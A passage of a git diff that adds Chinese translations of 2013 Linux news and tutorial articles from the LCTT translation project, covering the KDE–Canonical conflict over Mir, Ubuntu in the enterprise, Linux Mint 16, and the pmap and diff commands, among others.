/dev/null +++ b/published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md @@ -0,0 +1,34 @@ +KDE和Canonical的关于Mir的冲突最终爆发了 +================================================================================ + +KDE开发者和Canonical之间酝酿的冲突在一连串Mir显示服务器所造成的问题后最终爆发了。 + +KDE与Canonical,尤其是Mark Shuttleworth,有很深的交情。曾几何时,在2006年,Mark Shuttleworth是第一个赞助KDE的人,人们总会像这样谈论这件事: + +“我毫不怀疑当你看到KDE4所带来的巨大潜能时,你会知道你今天所做的是正确的。你是个真正有远见的人。这个世界需要更多的像你一样的人。”一位KDE社区成员所述。 + +而在七年之后,Canonical宣布了一款新的显示服务器Mir,而KDE、Kubuntu和Canonical社区的所有东西已经被丢到窗外。 + +[一篇由Mark Shuttleworth写的文章][1]最终成为了战争的导火索,其中写道,他将所有批判Mir显示服务器的人归类到一个虚拟的“茶派”,在他看来这就是派系的而已。有很多人,尤其是几个高级KDE开发者,他们批判Mir,他们在一开始就反对Mir。 + +KDE Plasma的开发者兼KDE组织主席,亚伦·塞戈,就这个问题向Mark Shuttleworth发起抗议。而[Canonical的创始人没有理睬][2]他的要求,这引起了一系列反应. + +第二个反应来自一位Kwin的开发者和维护者,Martin Gräßlin,他说这基本上[可以跟Ubuntu社区说Goodbye了][3]。在他的Google+上跟Ubuntu社区经理Jono Bacon的对话已经占满了所有回帖. + +“开源总是个很火爆的话题。有时候讨论时会带点粗鲁和不敬。难点是每个人对于粗鲁和无礼的定义是有区别的。就像,每个人对于好和坏行为评定是不同的” Jono Bacon在他帖子所述. + +他对于Martin Gräßlin的决定表示遗憾,但他也指出了Ubuntu的行为准则2.0,被打破了很多次已经很难计数了。 + +按照现在的情况,KDE绝不会采用Mir,Kubuntu可能带有配件,也许Ubuntu风光的日子已经时日不多。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/KDE-and-Canonical-Conflict-Over-Mir-Finally-Bursts-into-Open-396651.shtml + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml +[2]:http://news.softpedia.com/news/KDE-Developer-and-President-of-KDE-e-v-Upset-Because-Mark-Shuttleworth-Is-Ignoring-Him-396623.shtml +[3]:http://news.softpedia.com/news/Major-KDE-Developer-Says-Goodbye-to-Ubuntu-396429.shtml diff --git a/published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md b/published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md new file mode 100644 index 0000000000..7a29173dd7 --- /dev/null +++ b/published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md @@ -0,0 +1,38 @@ +Linux企业级桌面版:Ubuntu Vs Windows +================================================================================ + +过去的10年中,Linux的众多支持者几乎每年都预言当年会是“linux桌面版之年”。对微软主导的企业来说,这曾经是一个崇高的目标,但时代在变。在智能手机和云计算市场领域,Linux已经发展壮大成为一个顽强的竞争对手,打了微软一个措手不及。更重要的是,Google,IBM,Red Hat,Facebook, 还有Netflix等公司正在对linux的研发创新投入巨资。 + +现在, 随着技术预算缩水,微软授权费上涨,IT界是时候应该认真考虑一下了,部署桌面版Linux,替代Windows。这是个最佳时机,Windows 8.1刚发布,Ubuntu 13.10也同时发布。对Windows XP的支持也只剩下5个月时间。IT公司需要切换到新的环境。Ubuntu利用企业的需求来支持他们桌面版操作系统的需求。我研究了几个促成向桌面版linux转换的因素,包括培训和支持,还有一些潜在的复杂性问题。 + +我知道Ubuntu已经失去了它曾经在开源社区享有的青睐。Canonical,Ubuntu的开创者,做出了几个不受欢迎的决策,包括改变屏幕管理器(linux图形界面的基本组件),用内部开发的Mir替换掉Wayland。然而,Ubuntu仍然是完全开源的,并提供任何Linux发行版甚至Windows版本的软件,安装起来最为省事。Canonical还提供付费支持,这可能是企业级环境所需要的。 + +一直存在这样的争论,如果切换到一个新的桌面的话,最终用户需要再培训。微软做出了争议性决策,针对Windows 8.1,对熟悉的界面全面整改,这种举措造成的影响就是,比转向linux需要更多的培训。 Ubuntu Unity 桌面已经演变为用户友好的界面,比之Windows 8.1,更易于被终端用户所理解。 + +例如,比较一下用户在各个操作系统中关闭系统的方式。所有最近的Ubuntu版本,关闭系统只需点击一下屏幕右上角打开-关闭的图标。Windows 8.1则需要右击开始按钮,然后出现一个下拉菜单,从中找到关闭电源的选项。相较于Windows 8,这是个巨大的进步。Windows 8还得费劲去找相关的入口。总不如屏幕上只需一个图标来得直接。 + +多亏了许多流行的开源应用的Windows版本,对使用这些应用软件的终端用户的培训过也不是什么复杂的任务。用户已经熟悉了Windows上的Firefox, LibreOffice, Pidgin, 以及VLC媒体播放器。用于商业的应用,比如Skype和Adobe Acrobat,功能实现跟Windows上的基本相同。基于云的应用,比如Google Drive 和 Microsoft Office 365,在Ubuntu上都可以正常使用。 + +传统的Windows应用程序可以通过熟悉的Citrix或者开源RDP的客户端来使用。公司也可以使用开源的虚拟产品,比如VirtualBox,运行一些顽固的老掉牙的Windows应用。 + +在最新硬件的支持上,许多技术人员还记得,在Linux刚刚起步的那些时日,硬件支持极其有限。如今形势已经转变了。 + +如今对Linux的硬件支持通常比对最新的Windows版本的支持还要理想。许多硬件供应商已经放弃了对Windows新版本的驱动支持。Linux下的硬件驱动可以由开源社区的任何一个人维护更新,因此许多支持许多旧的硬件在最新版Ubuntu中得到了完全的支持。有基于此,再加上Ubuntu较低的系统需求,公司可以延长都已经进了回收站的硬件的使用寿命。 + +虽然Linux的桌面替代品存在它的优势,但是企业也应该考虑到一些潜在的困难。尽管许多技术人员正在使用linux,也为学习新的技术而欢欣鼓舞,但是仍有一部分技术人员用Windows进行开发工作很长时间了,已经习惯了,再去拥抱新的变化,对他们来说,或许不是那么得情愿。 + +援引薪酬增长的趋势是一个解决潜在的问题的办法。相比于其他专业技术人员,要求Linux技能的职位薪酬上涨近一倍的速度,这是来自Dice的说法。 + +对严格遵守合规性的公司来说,切换到Linux可能会遇到困难。例如,HIPAA要求加密,以满足FIPS-140-2的要求。大多数开源加密项目没有赞助商帮助他们通过NIST认证以满足这一要求。开源代码实际上可能因为有许多人已审查,会比专有软件更安全,但令人惊讶的是,在合规性的世界中,这一点无关紧要。 + +在决定全面迁移之前,企业需要了解他们的规则要求,并制定一个计划,培训IT人员。但总体而言,相比于企业级私有操作系统,作为一个切实可行的选择,Ubuntu Linux已然成熟。考虑到版权费用的花销,公司在Linux桌面替换项目中的投入是值得的。下一年或许就是“linux桌面版之年”。 + +> 本文作者Joseph Granneman拥有超过20年的技术经验,主要专注于医疗信息技术。他伊利诺伊州罗克福德骨科协会的CIO,医疗保健信息技术和信息安全领域一个活跃的独立作家、主持人和教授。Granneman一直活跃在许多的组织群体,包括发展健康信息交换的早期框架,该框架是伊利诺斯州的保健信息安全和隐私安全工作组的一部分。他也是健康信息技术认证委员会(CCHIT)安全工作组的一名志愿者,该工作组负责制定ARRA认证的电子病历信息安全标准。 + +-------------------------------------------------------------------------------- + +via: http://www.networkcomputing.com/data-networking-management/linux-desktop-in-the-enterprise-ubuntu-v/240163564 + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git "a/published/201311/Linux Mint 16 \342\200\234Petra\342\200\235 Cinnamon RC Has Been Released!.md" "b/published/201311/Linux Mint 16 \342\200\234Petra\342\200\235 Cinnamon RC Has Been Released!.md" new file mode 100644 index 0000000000..b895cdf7bb --- /dev/null +++ "b/published/201311/Linux Mint 16 \342\200\234Petra\342\200\235 Cinnamon RC Has Been Released!.md" @@ -0,0 +1,59 @@ +快来尝尝肉桂新口味儿,Mint 16现已加入肯德基豪华午餐~ +================================================================================ + +经过6个月艰苦卓绝的开发工作,Linux Mint开发组终于发布了更加稳定可靠的[Linux Mint 16,版本代号Petra 肉桂版(Cinnamon Edition)][1]。此次发布的Linux Mint包括了软件升级、新增功能以及多个bug修复。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/linux_mint16.png) + +这一版本是项目组努力工作6个月的辛勤果实,它为我们带来了2种独特“口味儿”,**肉桂(Cinnamon)**及其**伴侣(MATE)**,但具体新功能都有哪些呢? + +根据官方发布的声明,下面列出了Linux Mint 16 Petra Cinnamon版本的新功能: + +- Cinnamon升级至2.0版 +- 全新的登录界面 +- 支持USB记忆棒 +- 系统性能提升 +- 全新的软件管理器 +- 系统更加完善 +- UI美工更加漂亮 +- 主要组件得到优化 + +### Cinnamon 2.0 ### + +肉桂2.0带来诸多改进,修复了多个bug,加入许多新功能。首先,关闭窗口、切换工作台等日常操作加入了声音效果,同时,用户可以独立于主音量之外,单独对这些声音进行设置,另外,2.0版还加入了一个新面板,大大方便了session会话和账户关联任务等操作。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_account_details.png) + +###账户细节### + +系统管理员可以通过“用户与组”配置工具,对用户和组进行管理,你还可以使用新的“账户细节”配置界面对密码等信息进行修改。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_user_applet.png) + +###软件管理器### + +“快”!这是用来描述新版Linux Mint软件管理器最合适的字眼。每个人都欣喜地看到,如今的软件管理器不但比以前占用更少的内存,而且支持多个截图预览, **搜索**更加迅捷,**启动**更加快速。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/software_manager1.png) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/software_manager2-e1384689990357.png) + +###系统更加完善### + +你会在你的Linux Mint上使用“终端”来完成日常工作吗?当然!作为**程序猿(媛)**,这样才显得很高端大气上档次。这次的Linux Mint 16 Petra 肉桂版,将为你带来比以往更好的终端体验。举个栗子,新的终端使用“ll”命令作为“ls -al”的别名命令,如此一来,有了省时又省力的“ll”,谁还会去敲“ls -al”?(译注:难道ll还不是业界标准么?) + +除了程序猿(媛),Linux Mint 16 Petra 肉桂版同样还惦记着我们广大亲爱的**游戏玩家**!肉桂君现在能够更好的支持Steam,不仅如此,肉桂君还默认将steam加入了软件容器和软件管理器的特色板块! + +**宅男** 们可能比较关心,**隐私策略**做的怎么样呢?Linux Mint 16为广大宅男同胞们提供了额外的隐私/安全搜索引擎,机油再也不用担心我找不到苍老师~ + +更好的帮助支持、更安全的内核更新、更快的启动速度和登录速度…… 哎对了,果粉们怎么办?果粉?是的,这里说的就是各位**苹果**的忠(Nao)实(Can)粉丝们。虽然我们是Linuxer,但是分享与关爱是我们Linuxer与生俱来的传统美德。因此,Linux Mint 16现已加入对iOS设备的支持,众位果粉这下高兴了吧。不客气~ + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-mint-16-petra-cinnamon-rc-released/ + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blog.linuxmint.com/?p=2477 diff --git "a/published/201311/Linux Pmap Command \342\200\223 Find How Much Memory Process Use.md" "b/published/201311/Linux Pmap Command \342\200\223 Find How Much Memory Process Use.md" new file mode 100644 index 0000000000..2e00b831a5 --- /dev/null +++ "b/published/201311/Linux Pmap Command \342\200\223 Find How Much Memory Process Use.md" @@ -0,0 +1,118 @@ +Linux Pmap 命令 - 查看进程用了多少内存 +================================================================================ + +Pmap 提供了进程的内存映射,pmap命令用于显示一个或多个进程的内存状态。其报告进程的地址空间和内存状态信息。Pmap实际上是一个Sun OS上的命令,linux仅支持其有限的功能。但是它还是对查看完整的进程地址空间很有帮助。我们需要PID或者运行的进程的唯一进程ID来查看[进程内存状态][1],我们可以通过/proc或者常规命令比如top或ps得到它。 + +### 语法或用法 ### + + #pmap PID + +或者 + + #pmap [options] PID + +在输出中它显示全部的地址,kbytes,mode还有mapping。 + +### 选项 ### + +- -x extended显示扩展格式 +- -d device显示设备格式 +- -q quiet不显示header/footer行 +- -V 显示版本信息 + +### 单一进程内存状态 ### + + [root@info ~]# pmap 1013 + + + 1013: /usr/sbin/sshd + 00110000 1480K r-x- /usr/lib/libcrypto.so.1.0.0 + 00282000 80K rw-- /usr/lib/libcrypto.so.1.0.0 + 00296000 12K rw-- [ anon ] + 00299000 36K r-x- /lib/libkrb5support.so.0.1 + 002a2000 4K rw-- /lib/libkrb5support.so.0.1 + 002a3000 16K r-x- /lib/libplc4.so + 002a7000 4K rw-- /lib/libplc4.so + 002ab000 88K r-x- /lib/libaudit.so.1.0.0 + 002c1000 4K r-- /lib/libaudit.so.1.0.0 + 002c2000 4K rw-- /lib/libaudit.so.1.0.0 + 002c3000 216K r-x- /lib/libgssapi_krb5.so.2.2 + 002f9000 4K rw-- /lib/libgssapi_krb5.so.2.2 + 002fa000 808K r-x- /lib/libkrb5.so.3.3 + 003c4000 24K rw-- /lib/libkrb5.so.3.3 + 003ca000 152K r-x- /lib/libk5crypto.so.3.1 + 003f0000 4K rw-- /lib/libk5crypto.so.3.1 + 003f1000 92K r-x- /usr/lib/libnssutil3.so + 00738000 4K r--- /lib/libresolv-2.12.so + 00739000 4K rw-- /lib/libresolv-2.12.so + 0073a000 8K rw-- [ anon ] + 00825000 120K r-x- /lib/ld-2.12.so + 00843000 4K r--- /lib/ld-2.12.so + 00844000 4K rw-- /lib/ld-2.12.so + 0090d000 32K r-x- /lib/libwrap.so.0.7.6 + 00915000 4K rw-- /lib/libwrap.so.0.7.6 + 00948000 484K r-x- /usr/sbin/sshd + 009c1000 8K rw-- /usr/sbin/sshd + 009c3000 20K rw-- [ anon ] + 009e0000 92K r-x- /lib/libpthread-2.12.so + 009f7000 4K r--- /lib/libpthread-2.12.so + + total 8232K + +### 多进程内存状态 ### + +我们可以检查多进程内存通过插入多个PID。加入多个PID中间使用空格分隔。 + + pmap 1013 1217 1118 + +### 扩展进程内存 ### + + [root@info ~]# pmap -x 1013 + 1013: /usr/sbin/sshd + Address Kbytes RSS Dirty Mode Mapping + 00110000 1480 92 0 r-x- libcrypto.so.1.0.0 + 00282000 80 80 80 rw-- libcrypto.so.1.0.0 + 00296000 12 8 4 rw-- [ anon ] + 00299000 36 0 0 r-x- libkrb5support.so.0.1 + 002a2000 4 4 4 rw-- libkrb5support.so.0.1 + 002a3000 16 0 0 r-x- libplc4.so + 002a7000 4 4 4 rw-- libplc4.so + 002ab000 88 4 0 r-x- libaudit.so.1.0.0 + 002c1000 4 4 4 r--- libaudit.so.1.0.0 + 002c2000 4 4 4 rw-- libaudit.so.1.0.0 + 002c3000 216 4 0 r-x- libgssapi_krb5.so.2.2 + 002f9000 4 4 4 rw-- libgssapi_krb5.so.2.2 + 002fa000 808 4 0 r-x- libkrb5.so.3.3 + 003c4000 24 24 24 rw-- libkrb5.so.3.3 + 003ca000 152 4 0 r-x- libk5crypto.so.3.1 + 003f0000 4 4 4 rw-- libk5crypto.so.3.1 + 003f1000 92 0 0 r-x- libnssutil3.so + 00408000 12 12 12 rw-- libnssutil3.so + 0040b000 12 0 0 r-x- libplds4.so + 0040e000 4 4 4 rw-- libplds4.so + + --- --- --- --- --- + total kB 8232 - - - + +这里的Address,Kbyte,Dirty,RSS,mode还有mapping的说明如下 + +### 扩展和设备格式区域 ### + +- Address: 内存开始地址 +- Kbytes: 占用内存的字节数(KB) +- RSS: 保留内存的字节数(KB) +- Dirty: 脏页的字节数(包括共享和私有的)(KB) +- Mode: 内存的权限:read、write、execute、shared、private (写时复制) +- Mapping: 占用内存的文件、或[anon](分配的内存)、或[stack](堆栈) +- Offset: 文件偏移 +- Device: 设备名 (major:minor) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/pmap-command/ + +译者:[flsf](https://github.com/flsf) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linoxide.com/linux-shell-script/linux-memory-usage-program/ diff --git a/published/201311/Linux diff Command Explained With Examples.md b/published/201311/Linux diff Command Explained With Examples.md new file mode 100644 index 0000000000..3d856e5569 --- /dev/null +++ b/published/201311/Linux diff Command Explained With Examples.md @@ -0,0 +1,174 @@ +举例说明Linux diff 命令 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-diff-command.png) + +在比较文件的时候,通常会用基于GUI的软件。很少有人真正会为了这个目的使用命令行工具。虽然说使用命令行来比较文件/目录并不像一件小事儿那样容易,但是如果你是一个Linux使用者,那么我想你应该知道如何通过命令行比较文件,因为一旦使用了它,你会认为它绝对是一个快速的方法。 + +在本篇中,我们将通过一些实例来学习如何使用diff命令。 + +### Linux diff 命令 ### + +让我们通过一些实际的例子理解diff命令。 + +假设我们有两个文件(file1 和 file2): + + $ cat file1 + Hi, + Hello, + How are you? + I am fine, + Thank you. + + + $ cat file2 + Hello, + Hi, + How are you? + I am fine. + +你可以看见两个文件有些小的不同。现在,让我们看看diff命令如何找出两者的不同的。 + +像这样运行diff命令: + + $ diff file1 file2 + 1d0 + < Hi, + 2a2 + > Hi, + 4,5c4 + < I am fine, + < Thank you. + --- + > I am fine. + +你可以看见diff后面跟了两个文件的名字作为命令行的参数,并且它在输出中生成了差异比较。输出并不容易理解。理由是,这是被计算机使用的而不是为了人类。尽管如此,让我们一步步解码输出: + +**注意** – 在下面的文本中,file1和file2将被当作旧文件和新文件。 + + 1d0 + < Hi, + +这里,1d0这一行意味着旧文件的第一行应该被删除(d)以使两个文件的第一行同步。旧文件中需要被删除的行以'<'标记。 + + 2a2 + > Hi, + +这里,2a2行意味着新文件中的第二行应该加到旧文件的第二行后。要添加的行显示在输出的下一行用'>'标记。 + + 4,5c4 + < I am fine, + < Thank you. + --- + > I am fine. + +这里,4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第4行代替。添加和删除的行分别用'>'和'<'表示。 + +那么,来总结一下, + +- 首先diff命令的第一个参数被视为旧文件而第二个参数被视为新文件。 +- 像1d0、2a2、4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以是追加,删除或者改变替换。 +- '<'代表删除的行,而'>'代表添加的行。 + +除了文件外,diff命令还可以比较两个目录。让我们通过一个例子学习。 + +这里是'new_dir'目录包含的内容: + + $ ls new_dir/ + file file2 frnd frnd1.cpp log1.txt log3.txt log5.txt + file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt + +这是'orig_dir'目录含有的内容:(译注:原文为and here are the contents of a directory named ‘old_dir’ ,其中'old_dir'应为笔误。) + + $ ls orig_dir/ + file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt test + file2 frnd frnd1.cpp log1.txt log3.txt log5.txt + +下面是diff命令执行后的输出: + + $ diff new_dir/ orig_dir/ + Only in new_dir/: file + Only in orig_dir/: test + +你可以看到当diff命令被用来比较这两个目录时,很容易就会显示两个文件中缺失的文件。 + +下面是一些在命令行下常用的选项: + +### 1. 用 -i 忽略大小写 ### + +如果两个文件含有相同的文本但是大小写不同,diff命令仍会默认报告它不同。 + +比如: + + $ cat file1 + HI + + $ cat file2 + hi + + $ diff file1 file2 + 1c1 + < HI + --- + > hi + +你可以看见diff命令在输出中报告了大小写不同。 + +要去除这个默认行为,使用-i选项。 + +以下是个例子: + + $ diff -i file1 file2 + $ + +这样你可以看到没有生成输出,这是当两个文件相同时的默认行为。 + +### 2. 用 -s 选项报告两个文件相同 ### + +在例子1的后面,我们看到如果文件相同diff不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑,特别对于新手而言。因此,如果你像样diff命令明确地报告两个文件不同,那么就使用-s命令选项。 + +来举个例子: + + $ diff -is file1 file2 + Files file1 and file2 are identical + +你可以看到我加了-s选项在后面的例子中,这次diff命令会明确地报告两个文件是相同的。 + +### 3. 使用 -b 忽略空格 ### + +另外一个常用的是diff报告文件存在不同数量的空格。 + + +举例说明: + + $ cat file1 + Hi, how are you? + + $ cat file2 + Hi, how are you? + +观察这两个文件唯一的不同是file2中'are'和'you'之间额外的空格。现在,当使用diff命令比较两个文件时,输出如下: + + $ diff file1 file2 + 1c1 + < Hi, how are you? + --- + > Hi, how are you? + +因此你可以看到diff命令报告了不同。但是如果你想要忽略这些空格,使用 -b 选项。 + + $ diff -b file1 file2 + $ + +这样你可以看到由于-b选项,diff命令报告这两个文件是相同的。 + +diff命令还提供了更多的命令行选项。阅读[man page][1]来获取完整的列表。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-diff-command-examples/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://unixhelp.ed.ac.uk/CGI/man-cgi?diff diff --git "a/published/201311/Linux's First Space Opera Game\342\200\234The Mandate\342\200\235Gets a Fabulous Trailer.md" "b/published/201311/Linux's First Space Opera Game\342\200\234The Mandate\342\200\235Gets a Fabulous Trailer.md" new file mode 100644 index 0000000000..f66ed8a3c1 --- /dev/null +++ "b/published/201311/Linux's First Space Opera Game\342\200\234The Mandate\342\200\235Gets a Fabulous Trailer.md" @@ -0,0 +1,35 @@ +Linux上首款太空剧场级游戏'The Mandate'发布令人震撼的预告片!! +================================================================================ + +Perihelion Interactive已经宣告发布了一个在Kickstater倍受瞩目的太空类游戏 'The Mandate' 的首个游戏预告片。 + +根据开发者的简述,The Mandate是由六个玩家协作控制一辆载着数百人巨船的沙盒类科幻RPG游戏. + +游戏会根据不同的情境变化。在太空里,这类似于<银河创世纪:木星事件>,但 The Mandate 提供了更完整的RPG体验. + +举例来说,玩家能以第一视角登上他正在攻击的船只,而他的伙伴却再太空中另外的船上。当然,他们也需要同样保护他们自己的船只。 + +![](http://i1-news.softpedia-static.com/images/news2/Linux-s-First-Space-Opera-Game-quot-The-Mandate-quot-Gets-a-Fabulous-Trailer-394858-2.jpg) + +'游戏预告开头部分是中立的Zukov星际飞船遭到海盗的袭击后发出了遇难信号。信号被由效忠Mandate女王阿济莫夫指挥战斗中队的一个队员截获。队员与海盗交涉,给了他们投降和撤回的机会,但是战争却随之来到。'摘自官方[宣告][1] + +游戏由Unity 3D引擎开发!!!但是目前游戏仍处于开发初级阶段,与最终产品可能看起来很不同。 + +工作室内都是行业的资深人士,曾开发过佷多有影响力的游戏,像刺客信条I和II、黑手党II、孤岛惊魂2、科南时代:西伯莱人大冒险、使命召唤3和神秘世界等。更重要的是,他们都是痴迷CRPG的玩家,喜爱星际争霸、星际迷航、巴比伦5号和萤火虫。 + +来自Perihelion Interactive 公司的开发者已经成功募集三分之一的资金,他们还有34天的时间来达成募款目标。 + +游戏预计将在2015年3月发行,如果你对这个项目有兴趣,你可以看看Kickstarter官方网站。 + +youtube video:[http://www.youtube.com/embed/lf-lB51wlNo][2] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linux-s-First-Space-Opera-Game-quot-The-Mandate-quot-Gets-a-Fabulous-Trailer-394858.shtml + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.kickstarter.com/projects/1964463742/the-mandate/posts +[2]:http://www.youtube.com/embed/lf-lB51wlNo diff --git a/published/201311/Making Linux More Accessible.md b/published/201311/Making Linux More Accessible.md new file mode 100644 index 0000000000..19611b69eb --- /dev/null +++ b/published/201311/Making Linux More Accessible.md @@ -0,0 +1,40 @@ +让Linux更加可用(Accessibility) +================================================================================ +一个令人吃惊的事实是,至少十亿人或多或少有着某种程度的残疾。就是说全球大约15%的人在生理上、感知上、心智上会有缺陷,导致他们难以活动、观看、收听以及学习。世界上3.5亿人有不同程度的视觉障碍。计算机技术发展地越快,这些人就越会被疏远,除非计算机软件的开发可以满足他们的需求。 + +可用性是表示一个产品、设备、服务或者环境在不考虑具体细节的情况下能被多少人使用的程度。可用性可以被看作接触和利用一个系统或者实体的能力。可用性至关重要,社会和谐不是一个慈善行动,而是人类基本的权利。 + +我们见证了Linux软件和发行版本在使每个人融入社会方面做的突出贡献。举个例子来说,GNOME Accessibility Project 为图形界面用户开发了开源的可用性解决方案。Ubuntu有一个可用性团队致力于使Ubuntu能被更广范围的人使用。不得不提的是Vinux Project,一个基于Ubuntu的发行版本,针对失明和视力有障碍的用户进行了优化。 + +也有很多单独的应用软件提供了不同的可用性功能。这篇文章试图找出一些顶尖的开源软件,它们能帮助人们充分利用计算机技术,不论他们的生理和知觉功能如何。 + +让我们了解一下手边的8个通用辅助工具。我们为每个应用编写了它字节的入口页面,完整地、深入地分析了它们的功能,包含截屏和相关资源链接。 + + +### 通用辅助 ### + +- [Easystroke][1] 笔画识别软件 +- [Simon][2] 灵活的语音识别软件 +- [Orca Screen Reader][3] 可编程的屏幕阅读器 +- [Julius][4] Two-pass策略的大词汇持续语音识别引擎 +- [Florence Virtual Keyboard][5] 扩展的可伸缩虚拟键盘 +- [Caribou][6] 可配置的带有扫描模式的屏幕键盘 +- [Dasher][7] 图形化的预测文本输入系统 +- [xvkbd][8] 虚拟(图形)键盘系统 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20131109042823957/UniversalAccess.html + +译者:[boredivan](https://github.com/boredivan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://sourceforge.net/apps/trac/easystroke/ +[2]:http://simon-listens.org/ +[3]:https://wiki.gnome.org/Orca +[4]:http://julius.sourceforge.jp/ +[5]:http://florence.sourceforge.net/english.html +[6]:https://wiki.gnome.org/Caribou +[7]:http://www.inference.phy.cam.ac.uk/dasher/ +[8]:http://homepage3.nifty.com/tsato/xvkbd/ diff --git "a/published/201311/Mark Shuttleworth Regrets the \342\200\234Tea Party\342\200\235 Remarks and Other Canonical Mistakes.md" "b/published/201311/Mark Shuttleworth Regrets the \342\200\234Tea Party\342\200\235 Remarks and Other Canonical Mistakes.md" new file mode 100644 index 0000000000..69c179a4de --- /dev/null +++ "b/published/201311/Mark Shuttleworth Regrets the \342\200\234Tea Party\342\200\235 Remarks and Other Canonical Mistakes.md" @@ -0,0 +1,33 @@ +Mark Shuttleworth为“茶派”及其他错误认错 +================================================================================ +**Canonical公司的创始人Mark Shuttleworth他澄清了他的[“茶派”论调][4],为他的言论而表示歉意。** + +![](http://i1-news.softpedia-static.com/images/news2/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819-2.jpg) + +我们并不是每天都能看到Mark Shuttleworth连续道歉两次,很有可能这是第一次。 + +[第一个道歉][1]是对收到了Canonical公司法律团队邮件的fixubuntu.com的站长Micah F. Lee,他写了一篇广泛传播的关于这些问题的博客,并且在许多论坛和网站引起了热议。 + +Mark Shuttleworth首先在Google+向他道歉,接着他在其个人博客上写了正式的道歉文章,他的博客通常都是用于宣布重要事情的地方。 + +这个道歉之后,他又花了一些时间说,他为带来了很多抨击的[“茶派”][2]的说法而后悔,这个事情甚至比他原来认为的还要糟糕。 + +“另一方面,从个人角度看,我自己犯了一个错误,当我使用标签“开源茶派”来指那些对Canonical做的事情的非技术评论家。这是不对的,并且的确可能冒犯了真的茶派(注意这里!)以及那些非技术批评家(再看这儿!)。” + +“这并不是说我建议我不需要这样技术反馈,而是一些假定我拒绝了包括技术反馈在内的所有反馈。我没有——我在说对软件的评价,并不是软件本身的中心,而是开发软件的人需求的综合,或者是某个自由软件协议下发布,或者是公司的策略、或者是公司后面的国家”,Mark Shuttleworth[说道][3]。 + + +希望结束在这个事件上的所有的讨论,人们最终将能够接受引发了这次讨论的Mir。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml + +译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml +[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml +[3]:http://www.markshuttleworth.com/archives/1299 +[4]:http://linux.cn/article-2283-1.html \ No newline at end of file diff --git a/published/201311/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md b/published/201311/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md new file mode 100644 index 0000000000..fd08bdb735 --- /dev/null +++ b/published/201311/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md @@ -0,0 +1,39 @@ +通过Clonezilla(再生龙) Live 2.2.0-13 进行冷备份及恢复 +================================================================================ + +Clonezilla Live 2.2.0-13是一个基于DRBL、Partclone和udpcast的Linux发行版,允许用户完成一些裸机备份和还原,目前还只是测试版。 + +![](http://i1-news.softpedia-static.com/images/news2/Metal-Backup-and-Recovery-Is-Now-Possible-with-Debian-Based-Clonezilla-Live-2-2-0-13-391374-2.jpg) + +[Clonezilla Live 